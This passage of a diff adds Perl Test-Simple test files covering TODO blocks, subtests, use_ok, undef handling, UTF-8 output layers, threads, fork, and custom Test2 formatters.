+test_subtest_in_todo("noplan, no tests run", sub {
+ plan 'no_plan';
+}, <<END, 1);
+ # No tests run!
+END
+
+test_subtest_in_todo("missingplan, no tests run", sub {
+ 1;
+}, <<END, 1);
+ 1..0
+ # No tests run!
+END
+
+test_subtest_in_todo("donetesting, no tests run", sub {
+ done_testing;
+}, <<END, 1);
+ 1..0
+ # No tests run!
+END
+
+test_subtest_in_todo("1 failed test", sub {
+ ok 0, 'failme'; BEGIN { $line{fail1} = __LINE__ }
+}, <<END);
+ not ok 1 - failme
+ # Failed test 'failme'
+ # at $0 line $line{fail1}.
+ 1..1
+ # Looks like you failed 1 test of 1.
+END
+
+test_subtest_in_todo("1fail, wrongplan", sub {
+ plan tests => 17;
+ ok 0, 'failme'; BEGIN { $line{fail2} = __LINE__ }
+}, <<END);
+ 1..17
+ not ok 1 - failme
+ # Failed test 'failme'
+ # at $0 line $line{fail2}.
+ # Looks like you planned 17 tests but ran 1.
+ # Looks like you failed 1 test of 1 run.
+END
+
+test_subtest_in_todo("1fail, 1pass", sub {
+ ok 0, 'failme'; BEGIN { $line{fail3} = __LINE__ }
+ ok 1, 'passme';
+}, <<END);
+ not ok 1 - failme
+ # Failed test 'failme'
+ # at $0 line $line{fail3}.
+ ok 2 - passme
+ 1..2
+ # Looks like you failed 1 test of 2.
+END
+
+test_subtest_in_todo("todo tests in the subtest", sub {
+ ok 0, 'inner test 1'; BEGIN{ $line{in1} = __LINE__ }
+
+ TODO: {
+ local $TODO = 'Inner1';
+ ok 0, 'failing TODO a'; BEGIN{ $line{fta} = __LINE__ }
+ ok 1, 'unexpected pass a';
+ }
+
+ ok 0, 'inner test 2'; BEGIN{ $line{in2} = __LINE__ }
+
+ Test::Builder->new->todo_start('Inner2');
+ ok 0, 'failing TODO b'; BEGIN{ $line{ftb} = __LINE__ }
+ ok 1, 'unexpected pass b';
+ Test::Builder->new->todo_end;
+
+ ok 0, 'inner test 3'; BEGIN{ $line{in3} = __LINE__ }
+}, <<END);
+ not ok 1 - inner test 1
+ # Failed test 'inner test 1'
+ # at $0 line $line{in1}.
+ not ok 2 - failing TODO a # TODO Inner1
+ # Failed (TODO) test 'failing TODO a'
+ # at $0 line $line{fta}.
+ ok 3 - unexpected pass a # TODO Inner1
+ not ok 4 - inner test 2
+ # Failed test 'inner test 2'
+ # at $0 line $line{in2}.
+ not ok 5 - failing TODO b # TODO Inner2
+ # Failed (TODO) test 'failing TODO b'
+ # at $0 line $line{ftb}.
+ ok 6 - unexpected pass b # TODO Inner2
+ not ok 7 - inner test 3
+ # Failed test 'inner test 3'
+ # at $0 line $line{in3}.
+ 1..7
+ # Looks like you failed 3 tests of 7.
+END
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/wstat.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/wstat.t
new file mode 100644
index 00000000000..ee2f19866d8
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/wstat.t
@@ -0,0 +1,24 @@
+#!/usr/bin/perl -w
+
+# Test that setting $? doesn't affect subtest success
+
+use strict;
+use Test::More;
+
+subtest foo => sub {
+ plan tests => 1;
+ $? = 1;
+ pass('bar');
+};
+
+is $?, 1, "exit code keeps on from a subtest";
+
+subtest foo2 => sub {
+ plan tests => 1;
+ pass('bar2');
+ $? = 1;
+};
+
+is $?, 1, "exit code keeps on from a subtest";
+
+done_testing(4);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/tbm_doesnt_set_exported_to.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/tbm_doesnt_set_exported_to.t
new file mode 100644
index 00000000000..8bdd17753b1
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/tbm_doesnt_set_exported_to.t
@@ -0,0 +1,24 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use strict;
+use warnings;
+
+# Can't use Test::More, that would set exported_to()
+use Test::Builder;
+use Test::Builder::Module;
+
+my $TB = Test::Builder->create;
+$TB->plan( tests => 1 );
+$TB->level(0);
+
+$TB->is_eq( Test::Builder::Module->builder->exported_to,
+ undef,
+ 'using Test::Builder::Module does not set exported_to()'
+);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/thread_taint.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/thread_taint.t
new file mode 100644
index 00000000000..ef7b89daeff
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/thread_taint.t
@@ -0,0 +1,5 @@
+#!/usr/bin/perl -w
+
+use Test::More tests => 1;
+
+ok( !$INC{'threads.pm'}, 'Loading Test::More does not load threads.pm' );
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/threads.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/threads.t
new file mode 100644
index 00000000000..91e47da7d7f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/threads.t
@@ -0,0 +1,34 @@
+#!/usr/bin/perl -w
+use strict;
+use warnings;
+
+use Test2::Util qw/CAN_THREAD/;
+BEGIN {
+ unless(CAN_THREAD) {
+ require Test::More;
+ Test::More->import(skip_all => "threads are not supported");
+ }
+}
+use threads;
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use strict;
+use Test::Builder;
+
+my $Test = Test::Builder->new;
+$Test->exported_to('main');
+$Test->plan(tests => 6);
+
+for(1..5) {
+ 'threads'->create(sub {
+ $Test->ok(1,"Each of these should app the test number")
+ })->join;
+}
+
+$Test->is_num($Test->current_test(), 5,"Should be five");
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/todo.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/todo.t
new file mode 100644
index 00000000000..7d28846857f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/todo.t
@@ -0,0 +1,157 @@
+#!perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::More;
+
+plan tests => 36;
+
+
+$Why = 'Just testing the todo interface.';
+
+my $is_todo;
+TODO: {
+ local $TODO = $Why;
+
+ fail("Expected failure");
+ fail("Another expected failure");
+
+ $is_todo = Test::More->builder->todo;
+}
+
+pass("This is not todo");
+ok( $is_todo, 'TB->todo' );
+
+
+TODO: {
+ local $TODO = $Why;
+
+ fail("Yet another failure");
+}
+
+pass("This is still not todo");
+
+
+TODO: {
+ local $TODO = "testing that error messages don't leak out of todo";
+
+ ok( 'this' eq 'that', 'ok' );
+
+ like( 'this', qr/that/, 'like' );
+ is( 'this', 'that', 'is' );
+ isnt( 'this', 'this', 'isnt' );
+
+ can_ok('Fooble', 'yarble');
+ isa_ok('Fooble', 'yarble');
+ use_ok('Fooble');
+ require_ok('Fooble');
+}
+
+
+TODO: {
+ todo_skip "Just testing todo_skip", 2;
+
+ fail("Just testing todo");
+ die "todo_skip should prevent this";
+ pass("Again");
+}
+
+
+{
+ my $warning;
+ local $SIG{__WARN__} = sub { $warning = join "", @_ };
+ TODO: {
+ # perl gets the line number a little wrong on the first
+ # statement inside a block.
+ 1 == 1;
+#line 74
+ todo_skip "Just testing todo_skip";
+ fail("So very failed");
+ }
+ is( $warning, "todo_skip() needs to know \$how_many tests are in the ".
+ "block at $0 line 74\n",
+ 'todo_skip without $how_many warning' );
+}
+
+my $builder = Test::More->builder;
+my $exported_to = $builder->exported_to;
+TODO: {
+ $builder->exported_to("Wibble");
+
+ local $TODO = "testing \$TODO with an incorrect exported_to()";
+
+ fail("Just testing todo");
+}
+
+$builder->exported_to($exported_to);
+
+$builder->todo_start('Expected failures');
+fail('Testing todo_start()');
+ok 0, 'Testing todo_start() with more than one failure';
+$is_todo = $builder->todo;
+$builder->todo_end;
+is $is_todo, 'Expected failures',
+ 'todo_start should have the correct TODO message';
+ok 1, 'todo_end() should not leak TODO behavior';
+
+my @nested_todo;
+my ( $level1, $level2 ) = ( 'failure level 1', 'failure_level 2' );
+TODO: {
+ local $TODO = 'Nesting TODO';
+ fail('fail 1');
+
+ $builder->todo_start($level1);
+ fail('fail 2');
+
+ push @nested_todo => $builder->todo;
+ $builder->todo_start($level2);
+ fail('fail 3');
+
+ push @nested_todo => $builder->todo;
+ $builder->todo_end;
+ fail('fail 4');
+
+ push @nested_todo => $builder->todo;
+ $builder->todo_end;
+ $is_todo = $builder->todo;
+ fail('fail 4');
+}
+is_deeply \@nested_todo, [ $level1, $level2, $level1 ],
+ 'Nested TODO message should be correct';
+is $is_todo, 'Nesting TODO',
+ '... and original TODO message should be correct';
+
+{
+ $builder->todo_start;
+ fail("testing todo_start() with no message");
+ my $reason = $builder->todo;
+ my $in_todo = $builder->in_todo;
+ $builder->todo_end;
+
+ is $reason, '', " todo() reports no reason";
+ ok $in_todo, " but we're in_todo()";
+}
+
+eval {
+ $builder->todo_end;
+};
+is $@, sprintf "todo_end() called without todo_start() at %s line %d.\n", $0, __LINE__ - 3;
+
+
+{
+ my($reason, $in_todo);
+
+ TODO: {
+ local $TODO = '';
+ $reason = $builder->todo;
+ $in_todo = $builder->in_todo;
+ }
+
+ is $reason, '';
+ ok !$in_todo, '$TODO = "" is not considered TODO';
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/undef.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/undef.t
new file mode 100644
index 00000000000..defc7394b66
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/undef.t
@@ -0,0 +1,104 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-FORK
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use Test::More tests => 21;
+
+BEGIN { $^W = 1; }
+
+my $warnings = '';
+local $SIG{__WARN__} = sub { $warnings .= join '', @_ };
+
+my $TB = Test::Builder->new;
+sub no_warnings {
+ $TB->is_eq($warnings, '', ' no warnings');
+ $warnings = '';
+}
+
+sub warnings_is {
+ $TB->is_eq($warnings, $_[0]);
+ $warnings = '';
+}
+
+sub warnings_like {
+ $TB->like($warnings, $_[0]);
+ $warnings = '';
+}
+
+
+my $Filename = quotemeta $0;
+
+
+is( undef, undef, 'undef is undef');
+no_warnings;
+
+isnt( undef, 'foo', 'undef isnt foo');
+no_warnings;
+
+isnt( undef, '', 'undef isnt an empty string' );
+isnt( undef, 0, 'undef isnt zero' );
+
+Test::More->builder->is_num(undef, undef, 'is_num()');
+Test::More->builder->isnt_num(23, undef, 'isnt_num()');
+
+#line 45
+like( undef, qr/.*/, 'undef is like anything' );
+no_warnings;
+
+eq_array( [undef, undef], [undef, 23] );
+no_warnings;
+
+eq_hash ( { foo => undef, bar => undef },
+ { foo => undef, bar => 23 } );
+no_warnings;
+
+eq_set ( [undef, undef, 12], [29, undef, undef] );
+no_warnings;
+
+
+eq_hash ( { foo => undef, bar => { baz => undef, moo => 23 } },
+ { foo => undef, bar => { baz => undef, moo => 23 } } );
+no_warnings;
+
+
+#line 74
+cmp_ok( undef, '<=', 2, ' undef <= 2' );
+warnings_like(qr/Use of uninitialized value.* at \(eval in cmp_ok\) $Filename line 74\.\n/);
+
+
+
+my $tb = Test::More->builder;
+
+SKIP: {
+ skip("Test cannot be run with this formatter", 2)
+ unless $tb->{Stack}->top->format->isa('Test::Builder::Formatter');
+
+ my $err = '';
+ $tb->failure_output(\$err);
+ diag(undef);
+ $tb->reset_outputs;
+
+ is( $err, "# undef\n" );
+ no_warnings;
+}
+
+
+$tb->maybe_regex(undef);
+no_warnings;
+
+
+# test-more.googlecode.com #42
+{
+ is_deeply([ undef ], [ undef ]);
+ no_warnings;
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/use_ok.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/use_ok.t
new file mode 100644
index 00000000000..9e858bc75e2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/use_ok.t
@@ -0,0 +1,103 @@
+#!/usr/bin/perl -w
+
+use strict;
+use warnings;
+
+use lib 't/lib';
+use Test::More;
+
+note "Basic use_ok"; {
+ package Foo::one;
+ ::use_ok("Symbol");
+ ::ok( defined &gensym, 'use_ok() no args exports defaults' );
+}
+
+
+note "With one arg"; {
+ package Foo::two;
+ ::use_ok("Symbol", qw(qualify));
+ ::ok( !defined &gensym, ' one arg, defaults overridden' );
+ ::ok( defined &qualify, ' right function exported' );
+}
+
+
+note "Multiple args"; {
+ package Foo::three;
+ ::use_ok("Symbol", qw(gensym ungensym));
+ ::ok( defined &gensym && defined &ungensym, ' multiple args' );
+}
+
+
+note "Defining constants"; {
+ package Foo::four;
+ my $warn; local $SIG{__WARN__} = sub { $warn .= shift; };
+ ::use_ok("constant", qw(foo bar));
+ ::ok( defined &foo, 'constant' );
+ ::is( $warn, undef, 'no warning');
+}
+
+
+note "use Module VERSION"; {
+ package Foo::five;
+ ::use_ok("Symbol", 1.02);
+}
+
+
+note "use Module VERSION does not call import"; {
+ package Foo::six;
+ ::use_ok("NoExporter", 1.02);
+}
+
+
+{
+ package Foo::seven;
+ local $SIG{__WARN__} = sub {
+ # Old perls will warn on X.YY_ZZ style versions. Not our problem
+ warn @_ unless $_[0] =~ /^Argument "\d+\.\d+_\d+" isn't numeric/;
+ };
+ ::use_ok("Test::More", 0.47);
+}
+
+
+note "Signals are preserved"; {
+ package Foo::eight;
+ local $SIG{__DIE__};
+ ::use_ok("SigDie");
+ ::ok(defined $SIG{__DIE__}, ' SIG{__DIE__} preserved');
+}
+
+
+note "Line numbers preserved"; {
+ my $package = "that_cares_about_line_numbers";
+
+ # Store the output of caller.
+ my @caller;
+ {
+ package that_cares_about_line_numbers;
+
+ sub import {
+ @caller = caller;
+ return;
+ }
+
+ $INC{"$package.pm"} = 1; # fool use into thinking it's already loaded
+ }
+
+ ::use_ok($package);
+ my $line = __LINE__-1;
+ ::is( $caller[0], __PACKAGE__, "caller package preserved" );
+ ::is( $caller[1], __FILE__, " file" );
+ ::is( $caller[2], $line, " line" );
+}
+
+
+note "not confused by functions vs class names"; {
+ $INC{"ok.pm"} = 1;
+ use_ok("ok"); # ok is a function inside Test::More
+
+ $INC{"Foo/bar.pm"} = 1;
+ sub Foo::bar { 42 }
+ use_ok("Foo::bar"); # Confusing a class name with a function name
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/useing.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/useing.t
new file mode 100644
index 00000000000..c4ce5071270
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/useing.t
@@ -0,0 +1,19 @@
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::More tests => 5;
+
+require_ok('Test::Builder');
+require_ok("Test::More");
+require_ok("Test::Simple");
+
+{
+ package Foo;
+ use Test::More import => [qw(ok is can_ok)];
+ can_ok('Foo', qw(ok is can_ok));
+ ok( !Foo->can('like'), 'import working properly' );
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/utf8.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/utf8.t
new file mode 100644
index 00000000000..6e629d4335b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/utf8.t
@@ -0,0 +1,73 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use strict;
+use warnings;
+
+my $have_perlio;
+BEGIN {
+ # All together so Test::More sees the open discipline
+ $have_perlio = eval q[
+ require PerlIO;
+ PerlIO->VERSION(1.02); # required for PerlIO::get_layers
+ binmode *STDOUT, ":encoding(utf8)";
+ binmode *STDERR, ":encoding(utf8)";
+ require Test::More;
+ 1;
+ ];
+}
+
+use Test::More;
+unless (Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter')) {
+ plan skip_all => 'Test cannot be run using this formatter';
+}
+
+if( !$have_perlio ) {
+ plan skip_all => "Don't have PerlIO 1.02";
+}
+else {
+ plan tests => 5;
+}
+
+SKIP: {
+ skip( "Need PerlIO for this feature", 3 )
+ unless $have_perlio;
+
+ my %handles = (
+ output => \*STDOUT,
+ failure_output => \*STDERR,
+ todo_output => \*STDOUT
+ );
+
+ for my $method (keys %handles) {
+ my $src = $handles{$method};
+
+ my $dest = Test::More->builder->$method;
+
+ is_deeply { map { $_ => 1 } PerlIO::get_layers($dest) },
+ { map { $_ => 1 } PerlIO::get_layers($src) },
+ "layers copied to $method";
+ }
+}
+
+
+# Test utf8 is ok.
+{
+ my $uni = "\x{11e}";
+
+ my @warnings;
+ local $SIG{__WARN__} = sub {
+ push @warnings, @_;
+ };
+
+ is( $uni, $uni, "Testing $uni" );
+ is_deeply( \@warnings, [] );
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/versions.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/versions.t
new file mode 100644
index 00000000000..3c46ee76c1b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/versions.t
@@ -0,0 +1,29 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-PRELOAD
+
+# Make sure all the modules have the same version
+#
+# TBT has its own version system.
+
+use strict;
+use Test::More;
+
+require Test::Builder;
+require Test::Builder::Module;
+require Test::Simple;
+
+my $dist_version = Test::More->VERSION;
+
+like( $dist_version, qr/^ \d+ \. \d+ $/x );
+
+my @modules = qw(
+ Test::Simple
+ Test::Builder
+ Test::Builder::Module
+);
+
+for my $module (@modules) {
+ is( $dist_version, $module->VERSION, $module );
+}
+
+done_testing(4);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t
new file mode 100644
index 00000000000..1ddb70c9ba1
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t
@@ -0,0 +1,28 @@
+use strict;
+use warnings;
+# HARNESS-NO-PRELOAD
+
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept test2_stack/;
+
+plan 3;
+
+my @warnings;
+{
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ require Test::Builder;
+};
+
+is(@warnings, 2, "got warnings");
+
+like(
+ $warnings[0],
+ qr/Test::Builder was loaded after Test2 initialization, this is not recommended/,
+ "Warn about late Test::Builder load"
+);
+
+like(
+ $warnings[1],
+ qr/Formatter Test::Builder::Formatter loaded too late to be used as the global formatter/,
+ "Got the formatter warning"
+);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t
new file mode 100644
index 00000000000..ec904fbeecb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept/;
+use Test::More ();
+
+my $events = intercept {
+ Test::More::ok(0, 'name');
+};
+
+my ($ok, $diag) = @$events;
+
+ok($ok->isa('Test2::Event::Ok'), "got 'ok' result");
+is($ok->pass, 0, "'ok' test failed");
+is($ok->name, 'name', "got 'ok' name");
+
+ok($diag->isa('Test2::Event::Diag'), "got 'ok' result");
+is($diag->message, " Failed test 'name'\n at $0 line 9.\n", "got all diag message in one diag event");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/hidden_warnings.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/hidden_warnings.t
new file mode 100644
index 00000000000..1819be3399c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/hidden_warnings.t
@@ -0,0 +1,20 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+use Test2::API qw( context_do );
+
+$SIG{__WARN__} = sub {
+ context_do { shift->throw("oops\n"); }
+ $_[0];
+};
+
+my $array_var = [];
+eval { warn "trigger warning" };
+my $err = $@;
+like(
+ $err,
+ qr/oops/,
+ "Got expected error"
+);
+
+done_testing();
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t
new file mode 100644
index 00000000000..b5cf68be711
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t
@@ -0,0 +1,42 @@
+use strict;
+use warnings;
+
+if ($] lt "5.008") {
+ print "1..0 # SKIP Test cannot run on perls below 5.8.0\n";
+ exit 0;
+}
+
+BEGIN {
+ require Test2::API;
+ Test2::API::test2_start_preload();
+}
+
+use Test::More;
+
+my ($stdout, $stderr) = ('', '');
+{
+ local *STDOUT;
+ open(STDOUT, '>', \$stdout) or die "Could not open temp STDOUT";
+
+ local *STDERR;
+ open(STDERR, '>', \$stderr) or die "Could not open temp STDOUT";
+
+ diag("test\n", "diag\nfoo");
+ note("test\n", "note\nbar");
+}
+
+Test2::API::test2_stop_preload();
+
+is($stdout, <<EOT, "Got stdout");
+# test
+# note
+# bar
+EOT
+
+is($stderr, <<EOT, "Got stderr");
+# test
+# diag
+# foo
+EOT
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_done_testing.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_done_testing.t
new file mode 100644
index 00000000000..7badf3e6eed
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_done_testing.t
@@ -0,0 +1,26 @@
+use strict;
+use warnings;
+
+use Test2::API qw/context/;
+
+sub done_testing {
+ my $ctx = context();
+
+ die "Test Already ended!" if $ctx->hub->ended;
+ $ctx->hub->finalize($ctx->trace, 1);
+ $ctx->release;
+}
+
+sub ok($;$) {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ $ctx->ok($bool, $name);
+ $ctx->release;
+}
+
+ok(1, "First");
+ok(1, "Second");
+
+done_testing;
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_fork.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_fork.t
new file mode 100644
index 00000000000..f6d72f643e5
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_fork.t
@@ -0,0 +1,34 @@
+use strict;
+use warnings;
+
+use Test2::Util qw/CAN_FORK/;
+use Test2::IPC;
+use Test2::API qw/context/;
+
+sub plan {
+ my $ctx = context();
+ $ctx->plan(@_);
+ $ctx->release;
+}
+
+sub ok($;$) {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ $ctx->ok($bool, $name);
+ $ctx->release;
+}
+
+plan(0, skip_all => 'System cannot fork') unless CAN_FORK();
+
+plan(6);
+
+for (1 .. 3) {
+ my $pid = fork;
+ die "Failed to fork" unless defined $pid;
+ next if $pid;
+ ok(1, "test 1 in pid $$");
+ ok(1, "test 2 in pid $$");
+ last;
+}
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_no_plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_no_plan.t
new file mode 100644
index 00000000000..32dde2cc45a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_no_plan.t
@@ -0,0 +1,24 @@
+use strict;
+use warnings;
+
+use Test2::API qw/context/;
+
+sub plan {
+ my $ctx = context();
+ $ctx->plan(@_);
+ $ctx->release;
+}
+
+sub ok($;$) {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ $ctx->ok($bool, $name);
+ $ctx->release;
+}
+
+plan(0, 'no_plan');
+
+ok(1, "First");
+ok(1, "Second");
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_plan.t
new file mode 100644
index 00000000000..3656d85d129
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_plan.t
@@ -0,0 +1,24 @@
+use strict;
+use warnings;
+
+use Test2::API qw/context/;
+
+sub plan {
+ my $ctx = context();
+ $ctx->plan(@_);
+ $ctx->release;
+}
+
+sub ok($;$) {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ $ctx->ok($bool, $name);
+ $ctx->release;
+}
+
+plan(2);
+
+ok(1, "First");
+ok(1, "Second");
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_skip.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_skip.t
new file mode 100644
index 00000000000..3816eb035a7
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_skip.t
@@ -0,0 +1,16 @@
+use strict;
+use warnings;
+
+use Test2::API qw/context/;
+
+sub plan {
+ my $ctx = context();
+ $ctx->plan(@_);
+ $ctx->release;
+}
+
+plan(0, skip_all => 'testing skip all');
+
+die "Should not see this";
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_threads.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_threads.t
new file mode 100644
index 00000000000..e3201585fd2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_threads.t
@@ -0,0 +1,35 @@
+use strict;
+use warnings;
+
+use Test2::Util qw/CAN_THREAD/;
+use Test2::IPC;
+use Test2::API qw/context/;
+
+sub plan {
+ my $ctx = context();
+ $ctx->plan(@_);
+ $ctx->release;
+}
+
+sub ok($;$) {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ $ctx->ok($bool, $name);
+ $ctx->release;
+}
+
+plan(0, skip_all => 'System does not have threads') unless CAN_THREAD();
+
+plan(6);
+
+require threads;
+threads->import;
+
+for (1 .. 3) {
+ threads->create(sub {
+ ok(1, "test 1 in thread " . threads->tid());
+ ok(1, "test 2 in thread " . threads->tid());
+ });
+}
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_todo.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_todo.t
new file mode 100644
index 00000000000..7a7d7a1ed2b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_todo.t
@@ -0,0 +1,51 @@
+use strict;
+use warnings;
+
+use Test2::API qw/context test2_stack/;
+
+sub done_testing {
+ my $ctx = context();
+
+ die "Test Already ended!" if $ctx->hub->ended;
+ $ctx->hub->finalize($ctx->trace, 1);
+ $ctx->release;
+}
+
+sub ok($;$) {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ $ctx->ok($bool, $name);
+ $ctx->release;
+}
+
+sub diag {
+ my $ctx = context();
+ $ctx->diag( join '', @_ );
+ $ctx->release;
+}
+
+ok(1, "First");
+
+my $filter = test2_stack->top->filter(sub {
+ my ($hub, $event) = @_;
+
+ # Turn a diag into a note
+ return Test2::Event::Note->new(%$event) if ref($event) eq 'Test2::Event::Diag';
+
+ # Set todo on ok's
+ if ($event->isa('Test2::Event::Ok')) {
+ $event->set_todo('here be dragons');
+ $event->set_effective_pass(1);
+ }
+
+ return $event;
+});
+
+ok(0, "Second");
+diag "should be a note";
+
+test2_stack->top->unfilter($filter);
+
+ok(1, "Third");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Formatter.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Formatter.t
new file mode 100644
index 00000000000..f38b022ebe2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Formatter.t
@@ -0,0 +1,84 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/intercept run_subtest test2_stack/;
+use Test2::Event::Bail;
+
+{
+
+ package Formatter::Subclass;
+ use base 'Test2::Formatter';
+ use Test2::Util::HashBase qw{f t};
+
+ sub init {
+ my $self = shift;
+ $self->{+F} = [];
+ $self->{+T} = [];
+ }
+
+ sub write { }
+ sub hide_buffered { 1 }
+
+ sub terminate {
+ my $s = shift;
+ push @{$s->{+T}}, [@_];
+ }
+
+ sub finalize {
+ my $s = shift;
+ push @{$s->{+F}}, [@_];
+ }
+}
+
+{
+ my $f = Formatter::Subclass->new;
+ intercept {
+ my $hub = test2_stack->top;
+ $hub->format($f);
+ is(1, 1, 'test event 1');
+ is(2, 2, 'test event 2');
+ is(3, 2, 'test event 3');
+ done_testing;
+ };
+
+ is(scalar @{$f->f}, 1, 'finalize method was called on formatter');
